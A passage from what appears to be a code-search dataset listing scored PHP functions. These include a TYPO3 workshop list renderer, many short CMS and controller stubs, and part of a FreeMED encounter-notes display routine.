break;\n\n\t\t\t\t}\n\t\t\tbreak;\n\t\t}\n\n\t\t\t// process extra codes from $GLOBALS['TYPO3_CONF_VARS']['EXTCONF']\n\t\t$userCodes = $GLOBALS['TYPO3_CONF_VARS']['EXTCONF']['workshops']['what_to_display'];\n\n\t\tif ($userCodes && !$prefix_display && !$templateName) {\n\t\t\twhile (list(, $ucode) = each($userCodes)) {\n\t\t\t\tif ($theCode == $ucode[0]) {\n\t\t\t\t\t$prefix_display = 'displayList';\n\t\t\t\t\t$templateName = 'TEMPLATE_' . $ucode[0] ;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t$noPeriod = 0;\n\n\t\tif (!$this->conf['emptyArchListAtStart']) {\n\t\t\t\t// if this is true, we're listing from the archive for the first time (no pS set), to prevent an empty list page we set the pS value to the archive start\n\t\t\tif (($this->arcExclusive > 0 && !$this->piVars['pS'] && $theCode != 'SEARCH')) {\n\t\t\t\t\t// set pS to time minus archive startdate\n\t\t\t\t$this->piVars['pS'] = ($GLOBALS['SIM_EXEC_TIME'] - ($this->config['datetimeDaysToArchive'] * 86400));\n\t\t\t}\n\t\t}\n\n\t\tif ($this->piVars['pS'] && !$this->piVars['pL']) {\n\t\t\t$noPeriod = 1; // override the period length checking in getSelectConf\n\t\t}\n\n\t\t\t// Allowed to show the listing? periodStart must be set, when listing from the archive.\n\t\tif (!($this->arcExclusive > -1 && !$this->piVars['pS'] && $theCode != 'SEARCH')) {\n\t\t\tif ($this->conf['displayCurrentRecord'] && $this->item_uid) {\n\t\t\t\t$this->pid_list = $this->cObj->data['pid'];\n\t\t\t\t$where = 'AND tx_workshops.uid=' . $this->item_uid;\n\t\t\t}\n\n\t\t\t\t// build parameter Array for List query\n\t\t\t$selectConf = $this->getSelectConf($where, $noPeriod);\n\n\t\t\t\t// performing query to count all items (we need to know it for browsing):\n\t\t\t$selectConf['selectFields'] = 'count(distinct(uid))'; //count(*)\n\t\t\t$res = $this->cObj->exec_getQuery('tx_workshops', $selectConf);\n\t\t\t$row = $GLOBALS['TYPO3_DB']->sql_fetch_row($res);\n\t\t\t$itemsCount = $row[0];\n\n\n\t\t\t\t// Only do something if the queryresult is not empty\n\t\t\tif ($itemsCount > 0) {\n\t\t\t\t\t// Init template parts: $t['total'] is complete template subpart (TEMPLATE_LATEST f.e.)\n\t\t\t\t\t// $t['item'] is an array with the alternative subparts (WORKSHOP, WORKSHOP_1, WORKSHOP_2 ...)\n\t\t\t\t$t = array();\n\t\t\t\t$t['total'] = $this->getItemsSubpart($this->templateCode, $this->spMarker('###' . $templateName . '###'));\n\n\t\t\t\t$t['item'] = $this->getLayouts($t['total'], $this->alternatingLayouts, 'WORKSHOP');\n\n\t\t\t\t\t// build query for display:\n\t\t\t\t$selectConf['selectFields'] = '*';\n\t\t\t\tif ($this->config['groupBy']) {\n\t\t\t\t\t$selectConf['groupBy'] = $this->config['groupBy'];\n\t\t\t\t} else {\n\t\t\t\t\t$selectConf['groupBy'] = 'uid';\n\t\t\t\t}\n\n\t\t\t\tif ($this->config['orderBy']) {\n\t\t\t\t\t$selectConf['orderBy'] = $this->config['orderBy'] . ($this->config['ascDesc']?' ' . $this->config['ascDesc']:'');\n\t\t\t\t} else {\n\t\t\t\t\t$selectConf['orderBy'] = 'datetime DESC';\n\t\t\t\t}\n\n\t\t\t\t\t// overwrite the groupBy value for categories\n\t\t\t\tif (!$this->catExclusive && $selectConf['groupBy'] == 'category') {\n\t\t\t\t\t$selectConf['leftjoin'] = 'tx_workshops_cat_mm ON tx_workshops.uid = tx_workshops_cat_mm.uid_local';\n\t\t\t\t\t$selectConf['groupBy'] = 'tx_workshops_cat_mm.uid_foreign';\n\t\t\t\t\t$selectConf['selectFields'] = 'DISTINCT tx_workshops.uid,tx_workshops.*';\n\t\t\t\t}\n\n\t\t\t\t\t// exclude the LATEST template from changing its content with the pagebrowser. This can be overridden by setting the conf var latestWithPagebrowser\n\t\t\t\tif ($theCode != 'LATEST' && !$this->conf['latestWithPagebrowser']) {\n\t\t\t\t\t$selectConf['begin'] = $this->piVars['pointer'] * $this->config['limit'];\n\t\t\t\t}\n\n\t\t\t\t\t// exclude item records shown in LATEST from the LIST template\n\t\t\t\tif (($theCode == 'LIST' || $theCode == 'LIST_FOR_NAV_MENU') && $this->conf['excludeLatestFromList'] && !$this->piVars['pointer'] && !$this->piVars['cat']) {\n\t\t\t\t\tif ($this->config['latestLimit']) {\n\t\t\t\t\t\t$selectConf['begin'] += $this->config['latestLimit'];\n\t\t\t\t\t\t$itemsCount -= $this->config['latestLimit'];\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$selectConf['begin'] += $itemsCount;\n\t\t\t\t\t\t// this will clean the display of LIST view when 'latestLimit' is unset because all the item data have been shown in LATEST already\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t\t// List start ID\n\t\t\t\tif (($theCode == 'LIST' || $theCode == 'LATEST' || $theCode == 'LIST_FOR_NAV_MENU') && $this->config['listStartId'] && !$this->piVars['pointer'] && !$this->piVars['cat']) {\n\t $selectConf['begin'] = $this->config['listStartId'];\n\t\t\t\t}\n\n\n\t\t\t\t\t// Reset:\n\t\t\t\t$subpartArray = array();\n\n\t\t\t\t$wrappedSubpartArray = array();\n\t\t\t\t$markerArray = array();\n\n\t\t\t\tif ($theCode == 'XML') {\n\t\t\t\t\t$markerArray = $this->getXmlHeader();\n\t\t\t\t\t$subpartArray['###HEADER###'] = $this->cObj->substituteMarkerArray($this->getItemsSubpart($t['total'], '###HEADER###'), $markerArray);\n\t\t\t\t}\n\n\t\t\t\t\t// get the list of items and fill them in the CONTENT subpart\n\t\t\t\t$subpartArray['###CONTENT###'] = $this->getListContent($t['item'], $selectConf, $prefix_display);\n\n\t\t\t\t$markerArray['###GOTOARCHIVE###'] = $this->pi_getLL('goToArchive');\n\n\n\t\t\t\t$markerArray['###LATEST_HEADER###'] = $this->pi_getLL('latestHeader');\n\t\t\t\t$wrappedSubpartArray['###LINK_ARCHIVE###'] = $this->local_cObj->typolinkWrap($this->conf['archiveTypoLink.']);\n\n\t\t\t\t\t// unset pagebrowser markers\n\t\t\t\t$markerArray['###LINK_PREV###'] = '';\n\t\t\t\t$markerArray['###LINK_NEXT###'] = '';\n\t\t\t\t$markerArray['###BROWSE_LINKS###'] = '';\n\n\t\t\t\t\t// render a pagebrowser if needed\n\t\t\t\tif ($itemsCount > $this->config['limit'] && !$this->config['noPageBrowser']) {\n\t\t\t\t\t\t// configure pagebrowser vars\n\t\t\t\t\t$this->internal['res_count'] = $itemsCount;\n\t\t\t\t\t$this->internal['results_at_a_time'] = $this->config['limit'];\n\t\t\t\t\t$this->internal['maxPages'] = $this->conf['pageBrowser.']['maxPages'];\n\t\t\t\t\tif (!$this->conf['pageBrowser.']['showPBrowserText']) {\n\n\t\t\t\t\t\t$this->LOCAL_LANG[$this->LLkey]['pi_list_browseresults_page'] = '';\n\t\t\t\t\t}\n\t\t\t\t\tif ($this->conf['userPageBrowserFunc']) {\n\t\t\t\t\t\t$markerArray = $this->userProcess('userPageBrowserFunc', $markerArray);\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$markerArray['###BROWSE_LINKS###'] = $this->pi_list_browseresults($this->conf['pageBrowser.']['showResultCount'], $this->conf['pageBrowser.']['tableParams']);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t$content .= $this->cObj->substituteMarkerArrayCached($t['total'], $markerArray, $subpartArray, $wrappedSubpartArray);\n\t\t\t} elseif (ereg('1=0', $where)) {\n\n\t\t\t\t\t// first view of the search page with the parameter 'emptySearchAtStart' set\n\t\t\t\t$markerArray['###SEARCH_EMPTY_MSG###'] = $this->local_cObj->stdWrap($this->pi_getLL('searchEmptyMsg'), $this->conf['searchEmptyMsg_stdWrap.']);\n\t\t\t\t$searchEmptyMsg = $this->getItemsSubpart($this->templateCode, $this->spMarker('###TEMPLATE_SEARCH_EMPTY###'));\n\n\t\t\t\t$content .= $this->cObj->substituteMarkerArrayCached($searchEmptyMsg, $markerArray);\n\t\t\t} elseif ($this->piVars['swords']) {\n\t\t\t\t\t// no results\n\t\t\t\t$markerArray['###SEARCH_EMPTY_MSG###'] = $this->local_cObj->stdWrap($this->pi_getLL('noResultsMsg'), $this->conf['searchEmptyMsg_stdWrap.']);\n\t\t\t\t$searchEmptyMsg = $this->getItemsSubpart($this->templateCode, $this->spMarker('###TEMPLATE_SEARCH_EMPTY###'));\n\t\t\t\t$content .= $this->cObj->substituteMarkerArrayCached($searchEmptyMsg, $markerArray);\n\t\t\t} elseif ($theCode == 'XML') {\n\t\t\t\t\t// fill at least the template header\n\t\t\t\t\t// Init Templateparts: $t['total'] is complete template subpart (TEMPLATE_LATEST f.e.)\n\t\t\t\t$t = array();\n\t\t\t\t$t['total'] = $this->getItemsSubpart($this->templateCode, $this->spMarker('###' . $templateName . '###'));\n\t\t\t\t\t// Reset:\n\t\t\t\t$subpartArray = array();\n\t\t\t\t$wrappedSubpartArray = array();\n\t\t\t\t$markerArray = array();\n\t\t\t\t\t// header data\n\t\t\t\t$markerArray = $this->getXmlHeader();\n\n\t\t\t\t\t// get the list of items and fill them in the CONTENT subpart\n\t\t\t\t$subpartArray['###HEADER###'] = $this->cObj->substituteMarkerArray($this->getItemsSubpart($t['total'], '###HEADER###'), $markerArray);\n\n\t\t\t\t$t['total'] = $this->cObj->substituteSubpart($t['total'], '###HEADER###', $subpartArray['###HEADER###'], 0);\n\t\t\t\t$t['total'] = $this->cObj->substituteSubpart($t['total'], '###CONTENT###', '', 0);\n\n\t\t\t\t$content .= $t['total'];\n\n\t\t\t}\n\t\t\t\t// this matches if a user has switched languages within a archive period that contains no items in the desired language\n\t\t\telseif ($this->arcExclusive && $this->piVars['pS'] && $GLOBALS['TSFE']->sys_language_content) {\n\t\t\t\t$content .= $this->local_cObj->stdWrap($this->pi_getLL('noItemsForArchPeriod','Sorry, there are no translated descriptions in this archive period'), $this->conf['noItemsToListMsg_stdWrap.']);\n\t\t\t}\n\n\t\t\telse {\n\t\t\t\t$content .= $this->local_cObj->stdWrap($this->pi_getLL('noItemsToListMsg'), $this->conf['noItemsToListMsg_stdWrap.']);\n\t\t\t}\n\t\t}\n\t\t$content .= '<!-- end of function displayList() / arcExclusive: '. $this->arcExclusive .' -->';\n\t\treturn $content;\n\t}", "title": "" }, { "docid": "cc6b2cd1a2c6b9e261274ab27435f15e", "score": "0.57053965", "text": "function showMaterials(){\n\t#list all materials and info\n}", "title": "" }, { "docid": "ef482482b5d5450aa3f3c19d8c1c8a62", "score": "0.56808037", "text": "public function show(instruktur $instruktur)\n {\n //\n }", "title": "" }, { "docid": "77e846794b7151e9a1a1fe5ecae4b642", "score": "0.5661553", "text": "public function getEquipmentInfo();", "title": "" }, { "docid": "e37617a4bba572b991dc0f925f751476", "score": "0.56553024", "text": "abstract public function getDescriptions();", "title": "" }, { "docid": "a531dd94ece2ca73d2296667959f2454", "score": "0.5650864", "text": "public function stkitem_list()\n\t{\n $data['stkitems'] = $this->Master->f_get_particulars(\"md_stk_item \", NULL, NULL, 0);\n $this->load->view('common/header');\n\t\t$this->load->view('stkitem/item_list',$data);\n $this->load->view('common/footer');\n\t}", "title": "" }, { "docid": "37ccdf924bed60455915ed9a89f47160", "score": "0.5637281", "text": "public function index()\n {\n $instruments = Instrument::all();\n return view('Instruments', [\n 'instruments' => $instruments,\n ]);\n }", "title": "" }, { "docid": "982c54de9550756e6f686e8f634864d5", "score": "0.560045", "text": "public function get_inventory_details(){\n\t\techo $this->manufacturer_model->getInventoryData();\n\t}", "title": "" }, { "docid": "a3e36e939ad76da8cb4b83001a56fa40", "score": "0.55705404", "text": "public function showList()\n {\n echo \"Last run results:\\n\";\n echo $this->getLastRunTimeStamp() . \" \\n\";\n echo str_repeat('-', 32) . \"\\n\";\n\n $data = $this->readTestDox($this->_outputPath . 'testdox.text.txt');\n\n echo $data;\n\n return ModuleInterface::RETURN_BENIGN;\n }", "title": "" }, { "docid": "5e1cf9c7740eb597b9b58cf28e22751d", "score": "0.5542623", "text": "public function showAartists();", "title": "" }, { "docid": "0b38bde81a432b7bf685338a26968591", "score": "0.5522522", "text": "public function instruments () {\n $this->regdb->begin();\n return $this->regdb->instruments();\n }", "title": "" }, { "docid": "8014a58552219e29af639abb8b27409b", "score": "0.54682004", "text": "function asm_list() {\n $data['title'] = 'Welcome to Sales Distribution System.';\n $data['menu'] = 'human_resource';\n $data['content'] = 'admin/hr/asm_list';\n $data['asm_list'] = $this->MHr_asm_info->get_all();\n $this->load->vars($data);\n $this->load->view('admin/dashboard');\n }", "title": "" }, { "docid": "b4159d2e31792098257d4aec412734db", "score": "0.54680973", "text": "function DisplayContents(){}", "title": "" }, { "docid": "3c358ffde4488585e2210a6d01c2d297", "score": "0.54517466", "text": "public function printlist(){\r\n\t\t$parishID = Convert::raw2sql($this->request->getVar('ParishID'));\t\t\r\n\t\tif(!$this->canAccess($parishID)){\r\n\t\t\treturn $this->renderWith(array('Unathorised_access', 'App'));\r\n\t\t}\r\n\t\t\r\n\t\t$this->title = 'Other Facility list';\t\t\r\n\t\treturn $this->renderWith(array('OtherFacility_printresults','Print'));\r\n\t}", "title": "" }, { "docid": "9ff33340a9414f450388b752713634a1", "score": "0.54509443", "text": "public function info()\n {\n return array('module' => 'Clip', 'text_type' => $this->__('Clip List'), 'text_type_long' => $this->__('Clip list of publications'), 'allow_multiple' => true, 'form_content' => false, 'form_refresh' => false, 'show_preview' => true);\n }", "title": "" }, { "docid": "806f450f8a52f859b99a0ea7261269e3", "score": "0.5446475", "text": "public function show() {\n\t\t$content = '';\n\n\t\t$this->createTableHeading();\n\n\t\t$builder = tx_oelib_ObjectFactory::make('tx_seminars_seminarbagbuilder');\n\t\t$builder->setBackEndMode();\n\n\t\t$pageData = $this->page->getPageData();\n\t\t$builder->setSourcePages($pageData['uid'], self::RECURSION_DEPTH);\n\n\t\t$seminarBag = $builder->build();\n\t\t$this->createListBody($seminarBag);\n\n\t\t$this->template->setMarker(\n\t\t\t'new_record_button', $this->getNewIcon($pageData['uid'])\n\t\t);\n\n\t\t$this->template->setMarker(\n\t\t\t'csv_event_export_button',\n\t\t\t(!$seminarBag->isEmpty() ? $this->getCsvIcon() : '')\n\t\t);\n\n\t\t$content .= $this->template->getSubpart('SEMINARS_EVENT_LIST');\n\n\t\t// Checks the BE configuration and the CSV export configuration.\n\t\t$content .= $seminarBag->checkConfiguration();\n\t\t$seminarBag->__destruct();\n\n\t\treturn $content;\n\t}", "title": "" }, { "docid": "3fb62aad09d265f35f429573c17783a0", "score": "0.54409593", "text": "function product_shelf_listing() {\n\n}", "title": "" }, { "docid": "b78634ee641370e0d10f89be3a885371", "score": "0.54393226", "text": "public function getProductListSnippet();", "title": "" }, { "docid": "4f50c37247d9c28036718ffcd685ce1d", "score": "0.54388297", "text": "public function showGenres();", "title": "" }, { "docid": "e729f4aef0782148c0014de2db1d97ac", "score": "0.5408437", "text": "public function show_list()\r\n {\r\n try\r\n {}\r\n catch(Exception $err_obj)\r\n {\r\n \tshow_error($err_obj->getMessage());\r\n } \r\n }", "title": "" }, { "docid": "648e24902e7904caa790059ab18f561b", "score": "0.5383983", "text": "public function display()\n\t{\n\t\t\n\t}", "title": "" }, { "docid": "2458cae573f00ae2f63bde4736919878", "score": "0.53770435", "text": "public function getProductStarsSnippet();", "title": "" }, { "docid": "8bea1f94954bd25a8aec8959bf31d4a2", "score": "0.5376166", "text": "public function showArticleList(){ \r\n $this->view->makeListPage($this->articleStore->readAll());\r\n }", "title": "" }, { "docid": "f02b5316e759f1d05f616e98285d551b", "score": "0.5350729", "text": "function displayContent(DataStore $p_store):void\n {\n $l_title=$this->getAttValue(\"title\", $p_store,\"string\",true);\n $this->theme->base_InfoTable->header($l_title);\n foreach($this->subItems as $l_item){\n $l_item->display($p_store);\n }\n $this->theme->base_InfoTable->footer();\n \n }", "title": "" }, { "docid": "2ea3e8707657822e6f1d17485fdabc4d", "score": "0.5347599", "text": "public function ALSuspectList()\n { \n $case_id = $this->input->post('case_id', true);\n\n // get available records\n $data['sp_list'] = $this->disc_mdl->getSpListAL($case_id);\n $data['case_id'] = $case_id;\n\n $this->render($data);\n }", "title": "" }, { "docid": "ef8cd0f1b41c80badc9b933e652518a8", "score": "0.5345512", "text": "function makeList($structure, $catalogue) {\r\n $repository = new BeaconRepository(false);\r\n $count = 0;\r\n\tob_start();\r\n\tinclude 'templates/list.phtml';\r\n\t$return = ob_get_contents();\r\n\tob_end_clean();\r\n return($return);\r\n}", "title": "" }, { "docid": "2b3dbe8264fef934fea282e802dccef6", "score": "0.53422654", "text": "function sirsi_parser_block_info() {\n $blocks['nrl_laptops'] = array(\n 'info' => t('NRL Laptops')\n );\n $blocks['vetmed_comps'] = array(\n 'info' => t('Vetmed Computers')\n );\n return $blocks;\n}", "title": "" }, { "docid": "910555e43b29e54eb2cd590cf61ea05e", "score": "0.53355145", "text": "public function show()\n { $return ='';\n foreach($this->cards as $card){\n $return .= $card->getCard().\" \\n\";\n }\n return $return;\n }", "title": "" }, { "docid": "43f127d47e4720bbb2298ca63f90048a", "score": "0.53344095", "text": "public function info() {\n\t\treturn array (\n\t\t\t\t'text_type' => 'selection',\n\t\t\t\t'module' => 'ZSELEX',\n\t\t\t\t'text_type_long' => $this->__ ( 'Display Ishop Products' ),\n\t\t\t\t'allow_multiple' => true,\n\t\t\t\t'form_content' => false,\n\t\t\t\t'form_refresh' => false,\n\t\t\t\t'show_preview' => true,\n\t\t\t\t'admin_tableless' => true \n\t\t);\n\t}", "title": "" }, { "docid": "5d51f8a32858bb11f95ae2196439411e", "score": "0.53061926", "text": "function dyn_example_firstblock_info()\n{\n // Values\n return array('text_type' => 'First',\n 'module' => 'dyn_example',\n 'text_type_long' => 'Show first dyn_example items (alphabetical)',\n 'allow_multiple' => true,\n 'form_content' => false,\n 'form_refresh' => false,\n 'show_preview' => true);\n}", "title": "" }, { "docid": "28c84bcad7deb70f40dc7db20a635018", "score": "0.5303756", "text": "public function returnDescription(){\r\n }", "title": "" }, { "docid": "1d0c59e31e3c5e0ad936e105196e5c3b", "score": "0.5297921", "text": "function display () {\n\t\tglobal $display_buffer;\n\n\t\t// Tell FreeMED not to display a template\n\t\t$GLOBALS['__freemed']['no_template_display'] = true;\n\t\t\n\t\tforeach ($GLOBALS AS $k => $v) global $$k;\n if (($id<1) OR (strlen($id)<1)) {\n $display_buffer .= \"\n \".__(\"Specify Notes to Display\").\"\n <p/>\n <div ALIGN=\\\"CENTER\\\">\n\t <a HREF=\\\"$this->page_name?module=$module&patient=$patient\\\"\n >\".__(\"back\").\"</a> |\n <a HREF=\\\"manage.php?id=$patient\\\"\n >\".__(\"Manage Patient\").\"</a>\n </div>\n \";\n template_display();\n }\n // if it is legit, grab the data\n $r = freemed::get_link_rec ($id, \"enotes\");\n if (is_array($r)) extract ($r);\n $pnotesdt_formatted = substr ($pnotesdt, 0, 4). \"-\".\n substr ($pnotesdt, 5, 2). \"-\".\n substr ($pnotesdt, 8, 2);\n $pnotespat = $r [\"pnotespat\"];\n $pnoteseoc = sql_expand ($r[\"pnoteseoc\"]);\n\n $this->this_patient = CreateObject('FreeMED.Patient', $pnotespat);\n\n $display_buffer .= \"\n <p/>\n \".template::link_bar(array(\n __(\"Encounter Notes\") =>\n $this->page_name.\"?module=$module&patient=$pnotespat\",\n __(\"Manage Patient\") =>\n \"manage.php?id=$pnotespat\",\n\t__(\"Select Patient\") =>\n \"patient.php\",\n\t( freemed::acl_patient('emr', 'modify', $patient) ? __(\"Modify\") : \"\" ) =>\n $this->page_name.\"?module=$module&patient=$patient&id=$id&action=modform\",\n\t__(\"Print\") =>\n \"module_loader.php?module=\".get_class($this).\"&patient=$patient&\".\n \"action=print&id=\".$r['id']\n )).\"\n <p/>\n\n <CENTER>\n <B>Relevant Date : </B>\n $pnotesdt_formatted\n </CENTER>\n <P>\n \";\n // Check for EOC stuff\n if (count($pnoteseoc)>0 and is_array($pnoteseoc) and check_module(\"episodeOfCare\")) {\n $display_buffer .= \"\n <CENTER>\n <B>\".__(\"Related Episode(s)\").\"</B>\n <BR>\n \";\n for ($i=0;$i<count($pnoteseoc);$i++) {\n if ($pnoteseoc[$i] != -1) {\n $e_r = freemed::get_link_rec ($pnoteseoc[$i]+0, \"eoc\"); \n $e_id = $e_r[\"id\"];\n $e_desc = $e_r[\"eocdescrip\"];\n $e_first = $e_r[\"eocstartdate\"];\n $e_last = $e_r[\"eocdtlastsimilar\"];\n $display_buffer .= \"\n <A HREF=\\\"module_loader.php?module=episodeOfCare&patient=$patient&\".\n \t \"action=manage&id=$e_id\\\"\n >$e_desc / $e_first to $e_last</A><BR>\n \";\n\t} else {\n\t $episodes = $sql->query (\n\t \"SELECT * FROM eoc WHERE eocpatient='\".addslashes($patient).\"'\" );\n\t while ($epi = $sql->fetch_array ($episodes)) {\n $e_id = $epi[\"id\"];\n $e_desc = $epi[\"eocdescrip\"];\n $e_first = $epi[\"eocstartdate\"];\n $e_last = $epi[\"eocdtlastsimilar\"];\n $display_buffer .= \"\n <A HREF=\\\"module_loader.php?module=episodeOfCare&patient=$patient&\".\n \t \"action=manage&id=$e_id\\\"\n >$e_desc / $e_first to $e_last</A><BR>\n \";\n\t } // end fetching\n\t} // check if not \"ALL\"\n } // end looping for all EOCs\n $display_buffer .= \"\n </CENTER>\n \";\n } // end checking for EOC stuff\n $display_buffer .= \"<CENTER>\\n\";\n\n // Crappy hack to get around not detecting <br />'s\n $pnotesgeneral = str_replace (' />', '/>', $pnotesgeneral);\n $pnotes_S = str_replace (' />', '/>', $pnotes_S);\n $pnotes_O = str_replace (' />', '/>', $pnotes_O);\n $pnotes_A = str_replace (' />', '/>', $pnotes_A);\n $pnotes_P = str_replace (' />', '/>', $pnotes_P);\n $pnotes_I = str_replace (' />', '/>', $pnotes_I);\n $pnotes_E = str_replace (' />', '/>', $pnotes_E);\n $pnotes_R = str_replace (' />', '/>', $pnotes_R);\n $pnotescc = str_replace (' />', '/>', $pnotescc);\n $pnoteshpi = str_replace (' />', '/>', $pnoteshpi);\n $pnotesroscons = str_replace (' />', '/>', $pnotesroscons);\n $pnotesroseyes = str_replace (' />', '/>', $pnotesroseyes);\n $pnotesrosent = str_replace (' />', '/>', $pnotesrosent);\n $pnotesroscv = str_replace (' />', '/>', $pnotesroscv);\n $pnotesrosresp = str_replace (' />', '/>', $pnotesrosresp);\n $pnotesrosgi = str_replace (' />', '/>', $pnotesrosgi);\n $pnotesrosgu = str_replace (' />', '/>', $pnotesrosgu);\n $pnotesrosms = str_replace (' />', '/>', $pnotesrosms);\n $pnotesrosskinbreast = str_replace (' />', '/>', $pnotesrosskinbreast);\n $pnotesrosneuro = str_replace (' />', '/>', $pnotesrosneuro);\n $pnotesrospsych = str_replace (' />', '/>', $pnotesrospsych);\n $pnotesrosendo = str_replace (' />', '/>', $pnotesrosendo);\n $pnotesroshemelymph = str_replace (' />', '/>', $pnotesroshemelymph);\n $pnotesrosallergyimmune = str_replace (' />', '/>', $pnotesrosallergyimmune);\n $pnotesph = str_replace (' />', '/>', $pnotesph);\n $pnotesfh = str_replace (' />', '/>', $pnotesfh);\n $pnotessh = str_replace (' />', '/>', $pnotessh);\n $pnotespeeyes = str_replace (' />', '/>', $pnotespeeyes);\n $pnotespeent = str_replace (' />', '/>', $pnotespeent);\n $pnotespeneck = str_replace (' />', '/>', $pnotespeneck);\n $pnotesperesp = str_replace (' />', '/>', $pnotesperesp);\n $pnotespecv = str_replace (' />', '/>', $pnotespecv);\n $pnotespechestbreast = str_replace (' />', '/>', $pnotespechestbreast);\n $pnotespegiabd = str_replace (' />', '/>', $pnotespegiabd);\n $pnotespegu = str_replace (' />', '/>', $pnotespegu);\n $pnotespelymph = str_replace (' />', '/>', $pnotespelymph);\n $pnotespems = str_replace (' />', '/>', $pnotespems);\n $pnotespeskin = str_replace (' />', '/>', $pnotespeskin);\n $pnotespeneuro = str_replace (' />', '/>', $pnotespeneuro);\n $pnotespepsych = str_replace (' />', '/>', $pnotespepsych);\n $pnoteshandp = str_replace (' />', '/>', $pnoteshandp);\n\n if (strlen($pnotesgeneral) > 0) $display_buffer .= \"\n <TABLE BGCOLOR=#ffffff BORDER=1 WIDTH=\\\"100%\\\"><TR BGCOLOR=$darker_bgcolor>\n <TD ALIGN=LEFT><B>\".__(\"<u>G</u>eneral\").\"</B></TD></TR>\n <TR BGCOLOR=#ffffff><TD>\n\t\t\".( eregi(\"<[A-Z/]*>\", $pnotesgeneral) ?\n\t\tprepare($pnotesgeneral) :\n\t\tstripslashes(str_replace(\"\\n\", \"<br/>\", htmlentities($pnotesgeneral))) ).\"\n </TD></TR></TABLE>\n \";\n\t \n if (strlen($pnotes_S) > 0) $display_buffer .= \"\n <TABLE BGCOLOR=#ffffff BORDER=1 WIDTH=\\\"100%\\\"><TR BGCOLOR=$darker_bgcolor>\n <TD ALIGN=LEFT><B>\".__(\"<u>S</u>ubjective\").\"</B></TD></TR>\n <TR BGCOLOR=#ffffff><TD>\n\t\t\".( eregi(\"<[A-Z/]*>\", $pnotes_S) ?\n\t\tprepare($pnotes_S) :\n\t\tstripslashes(str_replace(\"\\n\", \"<br/>\", htmlentities($pnotes_S))) ).\"\n </TD></TR></TABLE>\n \";\n if (strlen($pnotes_O) > 0) $display_buffer .= \"\n <TABLE BGCOLOR=#ffffff BORDER=1 WIDTH=\\\"100%\\\"><TR BGCOLOR=$darker_bgcolor>\n <TD ALIGN=LEFT><B>\".__(\"<U>O</U>bjective\").\"</B></TD></TR>\n <TR BGCOLOR=#ffffff><TD>\n\t\t\".( eregi(\"<[A-Z/]*>\", $pnotes_O) ?\n\t\tprepare($pnotes_O) :\n\t\tstripslashes(str_replace(\"\\n\", \"<br/>\", htmlentities($pnotes_O))) ).\"\n </TD></TR></TABLE>\n \";\n if (strlen($pnotes_A) > 0) $display_buffer .= \"\n <TABLE BGCOLOR=#ffffff BORDER=1 WIDTH=\\\"100%\\\"><TR BGCOLOR=$darker_bgcolor>\n <TD ALIGN=LEFT><B>\".__(\"<U>A</U>ssessment\").\"</B></TD></TR>\n <TR BGCOLOR=#ffffff><TD>\n\t\t\".( eregi(\"<[A-Z/]*>\", $pnotes_A) ?\n\t\tprepare($pnotes_A) :\n\t\tstripslashes(str_replace(\"\\n\", \"<br/>\", htmlentities($pnotes_A))) ).\"\n </TD></TR></TABLE>\n \";\n if (strlen($pnotes_P) > 0) $display_buffer .= \"\n <TABLE BGCOLOR=#ffffff BORDER=1 WIDTH=\\\"100%\\\"><TR BGCOLOR=$darker_bgcolor>\n <TD ALIGN=LEFT><B>\".__(\"<u>P</u>lan\").\"</B></FONT></CENTER></TD></TR>\n <TR BGCOLOR=#ffffff><TD>\n\t\t\".( eregi(\"<[A-Z/]*>\", $pnotes_P) ?\n\t\tprepare($pnotes_P) :\n\t\tstripslashes(str_replace(\"\\n\", \"<br/>\", htmlentities($pnotes_P))) ).\"\n </TD></TR></TABLE>\n \";\n if (!empty($pnotes_I)) $display_buffer .= \"\n <TABLE BGCOLOR=#ffffff BORDER=1 WIDTH=\\\"100%\\\"><TR BGCOLOR=$darker_bgcolor>\n <TD ALIGN=LEFT><B>\".__(\"<u>I</u>nterval\").\"</B></TD></TR>\n <TR BGCOLOR=\\\"#ffffff\\\"><TD>\n\t\t\".( eregi(\"<[A-Z/]*>\", $pnotes_I) ?\n\t\tprepare($pnotes_I) :\n\t\tstripslashes(str_replace(\"\\n\", \"<br/>\", htmlentities($pnotes_I))) ).\"\n </TD></TR></TABLE>\n \";\n if (strlen($pnotes_E) > 0) $display_buffer .= \"\n <TABLE BGCOLOR=#ffffff BORDER=1 WIDTH=\\\"100%\\\"><TR BGCOLOR=$darker_bgcolor>\n <TD ALIGN=LEFT><B>\".__(\"<u>E</u>ducation\").\"</B></TD></TR>\n <TR BGCOLOR=#ffffff><TD>\n\t\t\".( eregi(\"<[A-Z/]*>\", $pnotes_E) ?\n\t\tprepare($pnotes_E) :\n\t\tstripslashes(str_replace(\"\\n\", \"<br/>\", htmlentities($pnotes_E))) ).\"\n </TD></TR></TABLE> \n \";\n if (strlen($pnotes_R) > 0) $display_buffer .= \"\n <TABLE BGCOLOR=#ffffff BORDER=1 WIDTH=\\\"100%\\\"><TR BGCOLOR=$darker_bgcolor>\n <TD ALIGN=LEFT><B>\".__(\"<u>R</u>x\").\"</B></TD></TR>\n <TR BGCOLOR=#FFFFFF><td>\n\t\t\".( eregi(\"<[A-Z/]*>\", $pnotes_R) ?\n\t\tprepare($pnotes_R) :\n\t\tstripslashes(str_replace(\"\\n\", \"<br/>\", htmlentities($pnotes_R))) ).\"\n </TD></TR></TABLE>\n \";\n if (strlen($pnotescc) > 0) $display_buffer .= \"\n <TABLE BGCOLOR=#ffffff BORDER=1 WIDTH=\\\"100%\\\"><TR BGCOLOR=$darker_bgcolor>\n <TD ALIGN=LEFT><B>\".__(\"<u>C</u>hief Complaint\").\"</B></TD></TR>\n <TR BGCOLOR=#ffffff><TD>\n\t\t\".( eregi(\"<[A-Z/]*>\", $pnotescc) ?\n\t\tprepare($pnotescc) :\n\t\tstripslashes(str_replace(\"\\n\", \"<br/>\", htmlentities($pnotescc))) ).\"\n </TD></TR></TABLE>\n \";\n if (strlen($pnoteshpi) > 0) $display_buffer .= \"\n <TABLE BGCOLOR=#ffffff BORDER=1 WIDTH=\\\"100%\\\"><TR BGCOLOR=$darker_bgcolor>\n <TD ALIGN=LEFT><B>\".__(\"<U>H</U>istory of Present Illness\").\"</B></TD></TR>\n <TR BGCOLOR=#ffffff><TD>\n\t\t\".( eregi(\"<[A-Z/]*>\", $pnoteshpi) ?\n\t\tprepare($pnoteshpi) 